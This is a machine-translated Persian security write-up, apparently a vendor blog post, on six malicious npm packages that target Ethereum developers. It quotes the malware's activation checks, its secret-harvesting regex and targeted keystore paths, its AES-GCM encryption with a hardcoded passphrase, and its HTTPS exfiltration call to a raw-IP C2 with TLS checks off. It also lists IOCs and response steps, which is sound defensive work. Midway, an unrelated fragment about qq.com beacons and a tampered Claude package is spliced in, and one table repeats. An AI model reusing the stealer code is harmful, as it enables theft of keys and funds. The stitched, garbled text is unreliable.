TL؛ DR
در ۶ می ۲۰۲۶، یک ناشر npm واحد، namikazesarada010206، شش بسته مخرب را منتشر کرد که اکوسیستم توسعهدهندگان اتریوم، سالیدیتی و دیفای را هدف قرار میدادند.
بستهها، viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utilsو web3-utils-core، از نامهای قابل قبولی استفاده میکرد که طوری طراحی شده بودند که شبیه کتابخانههای کمکی برای ابزارهای محبوب وب ۳ به نظر برسند.
هر شش بسته حاوی محتوای یکسانی بودند. telemetry.js فایل. فایل در سراسر کلاستر از نظر بایت یکسان بود و SHA-256 داشت:
این بدافزار در زمان نصب اجرا نمیشود. هیچ ... preinstall or postinstall قلاب. در عوض، وقتی بسته از طریق آن وارد میشود، فعال میشود require().
اون جزئیات مهمه.
این ایمپلنت منتظر میماند تا توسعهدهنده واقعاً از بسته استفاده کند. سپس بررسی میکند که آیا ایستگاه کاری شبیه یک محیط توسعه واقعی اتریوم/سالیدیتی است یا خیر. به دنبال کلیدهای Alchemy یا Infura، کلیدهای خصوصی، mnemonics، کلیدهای deployer یا یک دایرکتوری محلی Foundry میگردد.
اگر میزبان مطابقت داشته باشد، سارق کلیدهای خصوصی SSH، کلیدهای ذخیره شده در کیف پول Foundry / Geth / Brownie را جمعآوری میکند. .env* فایلها و متغیرهای محیطی حساس. این بدافزار بسته را با استفاده از یک عبارت عبور سخترمزگذاری شده با AES-256-GCM رمزگذاری میکند و آن را به یک نقطه پایانی خام IPv4 C2 با تأیید TLS غیرفعال، منتقل میکند.
سیستم هشدار زودهنگام بدافزار (MEW) شرکت Xygeni هر شش بسته را به عنوان مخرب تأیید کرد. بسته گزارش حذف رجیستری npm در حال بررسی است.
خوشه: شش بسته، یک ناشر
حساب کاربری ناشر namikazesarada010206 به آدرس جیمیل تأیید نشده مرتبط بود namikazesarada010206@gmail.com.
این کمپین به صورت یک انتشار ناگهانی در یک روز در 6 مه 2026 منتشر شد. هر شش بسته به صورت زیر نسخهبندی شدند: 1.0.0، هیچ وابستگی زمان اجرا نداشت و فقط سه فایل ارسال کرد:
package.json index.js telemetry.js آنها همچنین همان مخزن منبع را اعلام کردند:
https://github.com/harunosakura030303-maker/evmchain-config سه بسته اول توسط اسکنرهای MEW در اولین انتشار شناسایی شدند. سه بسته باقیمانده پس از بررسی پروفایل npm ناشر توسط تحلیلگر، به اجبار علامتگذاری شدند. زمانی که همان بایت-یکسان telemetry.js در سراسر خوشه تأیید شد، آنها به دلیل سازگاری به عنوان مخرب بسته شدند.
| بسته | نسخه | منتشر شده توسط npm | بلیط MEW | حکم |
|---|---|---|---|---|
| هسته ویم | 1.0.0 | 2026-05-06 01:38:44Z | #51049 | مخرب |
| هسته viem-utils | 1.0.0 | 2026-05-06 | #51050 | مخرب |
| ابزارهای هسته سخت افزاری | 1.0.0 | 2026-05-06 | #51051 | مخرب |
| ابزارهای evm | 1.0.0 | 2026-05-06 | #51069 | مخرب، از روی ثبات |
| کارخانههای ریختهگری | 1.0.0 | 2026-05-06 | #51071 | مخرب، از روی ثبات |
| هسته web3-utils | 1.0.0 | 2026-05-06 | #51070 | مخرب، از روی ثبات |
استراتژی نامگذاری ساده اما مؤثر است.
این بستهها نامهای دقیق بالادستی را جعل نمیکنند. در عوض، از پسوندهای «کاربردی» محتمل مانند -core, -utilsو -utils-coreاین باعث میشود که آنها مانند کتابخانههای همراهی به نظر برسند که یک توسعهدهنده ممکن است انتظار داشته باشد آنها را در نزدیکی ابزارهای Web3 ببیند.
| بستهی مخرب | هدف مشروع |
|---|---|
| هسته ویم | ویم، یک کلاینت محبوب تایپاسکریپت اتریوم |
| هسته viem-utils | viem |
| ابزارهای هسته سخت افزاری | hardhat، یک محیط توسعهی سالیدیتیِ رایج |
| ابزارهای evm | فضای نام عمومی ابزار EVM |
| کارخانههای ریختهگری | ریختهگری، یک زنجیره ابزار سالیدیتی |
| هسته web3-utils | ابزارهای web3، کمککنندههای Web3.js |
این الگوی «بستهی تکمیلی» است: نه اینکه «من بستهی واقعی هستم»، بلکه «من شبیه یک یاور معقول در کنار بستهی واقعی به نظر میرسم».
برای توسعهدهندگان دیفای که به سرعت در حال حرکت هستند، همین کافی است تا ریسک ایجاد شود.
چه اتفاقی میافتد وقتی بسته وارد میشود؟
زنجیره حمله کوچک، عمدی و متمرکز بر محیطهای توسعه رمزنگاری است.
هیچ قلاب نصبی وجود ندارد. در عوض، هر بسته شامل یک index.js که قابلیت stub را صادر میکند و سپس ماژول تلهمتری مخرب را بارگذاری میکند.
require('./telemetry').init(); این یعنی بدافزار با اولین وارد کردن فعال میشود.
این از نظر عملیاتی برای مهاجم مفید است. بسیاری از اسکنرها و جعبههای شنی بر رفتار زمان نصب تمرکز دارند. این بسته منتظر میماند تا زمانی که واقعاً توسط یک توسعهدهنده، اسکریپت ساخت، مجموعه آزمایش یا مسیر زمان اجرا استفاده شود.
دروازه فعالسازی: فقط روی ایستگاههای کاری توسعهدهندگان واقعی وب ۳ فعال کنید
مهمترین بخش ایمپلنت، دریچه فعالسازی است.
این بدافزار متغیرهای محیطی را که معمولاً در دستگاههای توسعهدهنده اتریوم/سالیدیتی یافت میشوند، بررسی میکند:
const indicators = [ process.env.ALCHEMY_API_KEY, process.env.INFURA_KEY, process.env.PRIVATE_KEY, process.env.MNEMONIC, process.env.DEPLOYER_KEY, ].filter(Boolean); همچنین بررسی میکند که آیا Foundry نصب شده است یا خیر:
fs.existsSync(path.join(os.homedir(), '.foundry')) اگر هیچکدام از شرطها درست نباشد، تابع مقدار را برمیگرداند و هیچ کاری انجام نمیدهد.
این باعث میشود بسته در محیطهای تحلیل عمومی بیصداتر باشد. یک جعبه شنی بدون کلیدهای Foundry، Alchemy، Infura، کلیدهای خصوصی یا mnemonics ممکن است یک ورودی به ظاهر بیخطر را ببیند.
روی یک میزبان منطبق، بدافزار قبل از جمعآوری، ۶۰ تا ۹۰ ثانیه صبر میکند:
setTimeout(() => { try { _collect(); } catch {} }, 60000 + Math.random() * 30000).unref(); این تأخیر، همبستگی آشکار بین واردات و خروج اطلاعات را کاهش میدهد. .unref() همچنین اگر بسته در یک اسکریپت کوتاهمدت وارد شده باشد، فراخوانی به فرآیند میزبان اجازه میدهد تا به طور عادی خارج شود.
این یک رفتار پر سر و صدای «خراب کن و بگیر» نیست. این یک دزد هدفمند است که طوری طراحی شده که اجرا نشود، مگر اینکه محیط توسعهدهنده ارزش دزدیدن از آن را داشته باشد.
آنچه دزد جمعآوری میکند
پس از عبور از دروازه فعالسازی، بدافزار از منابعی که بیشترین اهمیت را در توسعه Web3 دارند، اطلاعات را جمعآوری میکند: کلیدهای خصوصی، کلیدهای کیف پول، اعتبارنامههای استقرار، اسرار ابری، توکنهای npm و پیکربندی پروژه محلی.
| منبع | چه چیزی جمعآوری میشود؟ |
|---|---|
| فرآیند.env | هر متغیری که با /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i مطابقت داشته باشد |
| ~/.ssh/* | فایلهای حاوی کلید خصوصی یا شروع به باز کردن، شامل محتوای کامل فایل |
| ~/.foundry/keystores/* | فایلهای ذخیره کلید کیف پول Foundry |
| ~/.ethereum/keystore/* | فایلهای ذخیره کلید کیف پول گث |
| ~/.brownie/accounts/* | فایلهای ذخیره کلید کیف پول براونی |
| ${cwd}/.env | محتوای کامل فایل |
| ${cwd}/.env.local | محتوای کامل فایل |
| ${cwd}/.env.production | محتوای کامل فایل |
| ${cwd}/.env.development | محتوای کامل فایل |
| نام میزبان ()os | ابرداده میزبان |
| crypto.randomUUID() | شناسه قربانی/جلسه |
| تاریخ.اکنون() | مهر زمانی مجموعه |
otheve.beacon.qq.com oth.str.beacon.qq.com h.trace.qq.com توکنهای ATTA عبارتند از:
ATTA_ID 00400014144 ATTA_TOKEN 6478159937 ما نتوانستهایم تأیید کنیم که آیا این تلهمتری، تجزیه و تحلیل خود اپراتور بوده یا یک کانال درآمدزایی جداگانه. توکنهای ATTA در هر دو نمونهای که بررسی کردیم، یکسان هستند.
خوشه B: هیبای
فیشینگ OAuth + ربودن آدرس اینترنتی ANTHROPIC_BASE_URL در claude.hk
نمونه اول آوریل، نمونه خامتر و اولیهتر این کمپین است.
heibai:2.1.88-claude.hk-4 توسط منتشر شد wuguoqiangvip28، حسابی که در ۷ ژوئن ۲۰۲۵ ایجاد شده است. این بسته صراحتاً خود را علیه نسخه قانونی منتشر کرده است. 2.1.88 انتشار آنتروپیک.
این برنامه به CA-cert MITM کاری ندارد. در عوض، در مورد نقطه پایانی OAuth به کاربر دروغ میگوید.
افزونههای مخرب اضافه شده به منبع کد Claude که به بیرون درز کرده است عبارتند از:
| منبع | چه چیزی جمعآوری میشود؟ |
|---|---|
| فرآیند.env | هر متغیری که با /TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i مطابقت داشته باشد |
| ~/.ssh/* | فایلهای حاوی کلید خصوصی یا شروع به باز کردن، شامل محتوای کامل فایل |
| ~/.foundry/keystores/* | فایلهای ذخیره کلید کیف پول Foundry |
| ~/.ethereum/keystore/* | فایلهای ذخیره کلید کیف پول گث |
| ~/.brownie/accounts/* | فایلهای ذخیره کلید کیف پول براونی |
| ${cwd}/.env | محتوای کامل فایل |
| ${cwd}/.env.local | محتوای کامل فایل |
| ${cwd}/.env.production | محتوای کامل فایل |
| ${cwd}/.env.development | محتوای کامل فایل |
| نام میزبان ()os | ابرداده میزبان |
| crypto.randomUUID() | شناسه قربانی/جلسه |
| تاریخ.اکنون() | مهر زمانی مجموعه |
فهرست اهداف بسیار خاص است. این یک سرقت عمومی مرورگر یا سرقت گسترده اطلاعات احراز هویت نیست. این هدف توسعهدهندگانی است که برنامههای اتریوم را میسازند، آزمایش میکنند، مستقر میکنند یا اداره میکنند.
گنجاندن کلیدهای Foundry، Geth و Brownie از اهمیت ویژهای برخوردار است. این فایلها میتوانند نشاندهنده دسترسی مستقیم به کیف پولها یا هویتهای استقرار باشند. اگر مهاجم بتواند آنها را با رمزهای عبور، یادآورها یا اسرار محیطی مرتبط کند، ممکن است بتواند وجوه را جابجا کند، خود را به جای توسعهدهندگان جا بزند یا عملیات قراردادهای هوشمند را به خطر بیندازد.
رمزگذاری قبل از استخراج
این بدافزار دادههای جمعآوریشده را قبل از ارسال رمزگذاری میکند.
const key = crypto.createHash('sha256').update(K).digest(); const iv = crypto.randomBytes(12); const cipher = crypto.createCipheriv('aes-256-gcm', key, iv); عبارت عبور هاردکد شده عبارت است از:
a]3Fk9$mP2xL7vQ8nR4wJ6yB0tH5cE1d فایل نهایی به صورت JSON فشرده میشود:
{"v":2,"iv":"<base64>","d":"<base64-ciphertext>","t":"<base64-gcm-tag>"} رمزگذاری به خودی خود بدافزار را پیشرفتهتر نمیکند. با این حال، بازرسی شبکه را سختتر میکند. یک مدافع که خروج را زیر نظر دارد، یک فایل JSON را میبیند، اما کلیدهای دزدیده شده، فایلهای کیف پول یا .env محتویات بدون عبارت عبور و منطق رمزگشاییِ کدگذاریشده.
استخراج به یک سرور C2 خام IPv4
مسیر خروج اطلاعات به صورت کدگذاری شده است:
const req = https.request({ hostname: '76.13.37.80', port: 8443, path: '/api/v1/telemetry', method: 'POST', headers: { 'Content-Type': 'application/json', ... }, rejectUnauthorized: false, timeout: 8000, }, () => {}); این بدافزار دادهها را به آدرسهای زیر ارسال میکند:
https://76.13.37.80:8443/api/v1/telemetry دو جزئیات برجسته هستند.
اول اینکه، سرور C2 یک آدرس IPv4 خام است نه یک دامنه. این امر نیاز به ثبت دامنه را از بین میبرد و از برخی تشخیصهای مبتنی بر دامنه جلوگیری میکند.
دوم، تأیید TLS در موارد زیر غیرفعال است:
rejectUnauthorized: false این به بدافزار اجازه میدهد تا هر گواهینامهای، از جمله گواهینامههای خودامضا را بپذیرد. به عبارت دیگر، مهاجم بدون نیاز به گواهینامه عمومی معتبر، انتقال رمزگذاریشده را دریافت میکند.
هیچ منطق تلاش مجدد و هیچ میزبان جایگزینی وجود ندارد. خطاها به طور بیصدا پذیرفته میشوند. این امر باعث میشود که بسته در صورت آفلاین بودن یا عدم دسترسی به C2، بیصدا باقی بماند.
چرا این کمپین مهم است
بیشتر بستههای مخرب npm که توسعهدهندگان را هدف قرار میدهند، به دنبال اعتبارنامههای گسترده هستند: توکنهای npm، کلیدهای AWS، توکنهای GitHub یا .npmrc فایل های.
این کمپین، هدف را محدودتر میکند.
این دستگاه به دنبال نشانههایی میگردد که نشان دهد دستگاه متعلق به یک توسعهدهنده اتریوم یا سالیدیتی است. سپس دقیقاً داراییهایی را که در آن محیط مهم هستند، استخراج میکند: کلیدهای کیف پول، کلیدهای خصوصی، یادآورها، کلیدهای توسعهدهنده، .env فایلها و کلیدهای SSH.
این باعث میشود که این کمپین برای تیمهای Web3 خطرناکتر از یک دزد عمومی npm باشد.
یک عفونت موفق میتواند موارد زیر را آشکار کند:
- کیف پولهای استقرار
- کلیدهای مدیریت قرارداد هوشمند
- کلیدهای ارائه دهنده RPC
- اعتبارنامههای استقرار ابری
- توکنهای انتشار npm
- دسترسی SSH به توسعهدهنده یا زیرساخت ساختوساز
- اسرار پروژه ذخیره شده در
.envفایل ها - کلیدهای کیف پول برای Foundry، Geth یا Brownie
نام بستهها همچنین مهندسی اجتماعی واضحی را نشان میدهد. آنها از طریق نامهای آشنای ابزارها، اکوسیستم توسعهدهندگان وب ۳ را هدف قرار میدهند: viem, hardhat, foundry, evmو web3.
لازم نیست بازیگر پروژههای واقعی را به خطر بیندازد. آنها فقط به یک توسعهدهنده نیاز دارند تا چیزی شبیه به یک بستهی همراه معقول را نصب کند.
شاخصهای نفوذ و تشخیص
| بستهها و ناشر | |
|---|---|
| میدان | مقدار |
| ناشر npm | نامیکازهسارادا010206 |
| ایمیل ناشر | namikazesarada010206@gmail.com |
| ایمیل تأییده شده است | نه |
| SCM تایید | نه |
| امتیاز اعتبار | 1.0 |
| بسته | viem-core, viem-utils-core, hardhat-core-utils, evm-utils, foundry-utils, web3-utils-core |
| نسخه | همه 1.0.0 |
| مخزن منبع | https://github.com/harunosakura030303-maker/evmchain-config |
| مخرب بودن تایید شد | هر شش بسته |
| شبکه ارتباطی | |
|---|---|
| نوع | مقدار |
| نقطه پایانی C2 | https://76.13.37.80:8443/api/v1/telemetry |
| آیپی C2 | 76.13.37.80 |
| پورت C2 | 8443/tcp |
| رفتار TLS | رد کردن غیرمجاز: نادرست |
| طرحواره بار مفید | {"v":2,"iv": "د": "تی": } |
| فایلها و هشها | |
|---|---|
| نوع | مقدار |
| تلهمتری.جیاس SHA-256 | 71426e93cb6143052d5aeeca920850f8a0343c95bc65aab9a15145848cc5bff1 |
| طرح بسته بندی | package.json، index.js، telemetry.js |
| تعداد فایلها | 3 |
| اندازه تقریبی کل | 3.4 KB |
سیگنالهای فعالسازی
این بدافزار متغیرهای محیطی زیر را بررسی میکند:
ALCHEMY_API_KEY INFURA_KEY PRIVATE_KEY MNEMONIC DEPLOYER_KEY همچنین موارد زیر را بررسی میکند:
~/.foundry/ مسیرهای میزبان هدفمند
~/.ssh/* ~/.foundry/keystores/* ~/.ethereum/keystore/* ~/.brownie/accounts/* ${cwd}/.env ${cwd}/.env.local ${cwd}/.env.production ${cwd}/.env.development مجموعه عبارت منظم
/TOKEN|SECRET|KEY|PASS|AUTH|PRIVATE|SEED|MNEMONIC|AWS|NPM|DEPLOY/i یادداشتهای تشخیص
چندین قانون بدون نیاز به تحلیل کامل رفتاری، این کمپین را شناسایی میکنند.
ابتدا، فایلهای قفل را برای شش نام بسته مخرب اسکن کنید:
viem-core viem-utils-core hardhat-core-utils evm-utils foundry-utils web3-utils-core هر تطابقی در package-lock.json, yarn.lock, pnpm-lock.yaml، یا node_modules تاریخ باید به عنوان یک حادثه جدی تلقی شود.
دوم، بر فرآیندهای Node.js که مسیرهای ذخیره کلید کیف پول را میخوانند، نظارت کنید:
~/.foundry/keystores/ ~/.ethereum/keystore/ ~/.brownie/accounts/ این رفتار به ندرت برای بستهای که به عنوان یک وابستگی کمکی وارد شده است، مشروع است. به ویژه هنگامی که با فعالیت شبکه خروجی دنبال شود، مشکوک است.
سوم، اتصالات HTTPS را مسدود کنید یا در مورد آنها هشدار دهید:
76.13.37.80:8443 مخصوصاً وقتی مسیر درخواست به صورت زیر باشد:
/api/v1/telemetry چهارم، به دنبال بستههای npm باشید که این ویژگیها را با هم ترکیب میکنند:
- ناشر تازهکار یا کماعتبار
- حساب جیمیل تایید نشده
- نام بسته مجاور Web3
- هیچ تاریخچه مخزن معناداری وجود ندارد
- طرح بسته کوچک
index.jsکه یک فایل تلهمتری یا کمکی را بارگذاری میکند- بدون وابستگی در زمان اجرا
- جمعآوری حساس متغیرهای محیطی
- دسترسی به فروشگاه کلید کیف پول
این الگو از یک IOC واحد مفیدتر است زیرا بسته بعدی ممکن است آدرس IP را تغییر دهد اما منطق هدفگیری یکسانی را حفظ کند.
چک لیست واکنش به سازش
اگر توسعهدهندهای از یکی از شش بسته استفاده کرده و محیط او با دروازه فعالسازی مطابقت داشته باشد، ایستگاه کاری را در معرض خطر قرار دهید.
این شامل دستگاههایی با Foundry نصب شده، کلیدهای Alchemy یا Infura در محیط، کلیدهای خصوصی، mnemonics یا کلیدهای deployer میشود.
پاسخ پیشنهادی:
- میزبان را از شبکه جدا کنید.
- حفظ
node_modules، فایلهای قفل، تاریخچه پوسته و گزارشهای مربوطه برای بررسیهای پزشکی قانونی. - هر جفت کلید SSH را در زیر بچرخانید
~/.ssh/. - کلیدهای کیف پول را برای هر فروشگاه کلید زیر بچرخانید
~/.foundry,~/.ethereumو~/.brownie. - وجوه را به کیف پولهای جدید منتقل کنید.
- هر راز ذخیره شده در را بچرخانید
.env*فایلهای موجود در مخازنی که توسعهدهنده در آنها کار کرده است. - چرخش اسرار محیطی مطابق با regex مجموعه، شامل کلیدهای AWS، توکنهای npm، توکنهای deploy، کلیدهای API، کلیدهای خصوصی، سیدها و mnemonics.
- فعالیتهای ابری، npm، GitHub، ارائهدهنده RPC و بلاکچین را از زمان نصب اولیه بسته، بررسی کنید.
- قبل از استفاده مجدد، از ایستگاه کاری دوباره تصویر تهیه کنید.
آنچه مدافعان باید با خود ببرند
این کمپین نشان میدهد که چگونه اشتباهات تایپی npm در اکوسیستمهای توسعهدهندگان با ارزش بالا در حال تکامل است.
این عامل به پایداری نیاز نداشت. آنها به مبهمسازی نیاز نداشتند. آنها حتی به اجرای زمان نصب هم نیاز نداشتند.
در عوض، آنها به سه چیز تکیه کردند:
- نامهای محتمل برای بستههای وب ۳
- فعالسازی فقط روی دستگاههای توسعه رمزنگاری واقعی
- سرقت مستقیم فایلها و اطلاعات محرمانهای که برای توسعهدهندگان اتریوم بیشترین اهمیت را دارند
این باعث میشود که کمپین به راحتی در بررسی کلی از دست برود و وقتی در محیط مناسب قرار میگیرد، خطرناک باشد.
برای تیمهای وب ۳، درس واضح است: نامهای وابستگی را به عنوان بخشی از مدل تهدید خود در نظر بگیرید. بستهای که مانند یک کمککننده بیضرر به نظر میرسد، همچنان میتواند کوتاهترین مسیر برای به خطر انداختن کیف پول باشد.
به رجیستری npm گزارش شد. وقتی حساب ناشر و بستهها حذف شوند، این پست را بهروزرسانی خواهیم کرد.




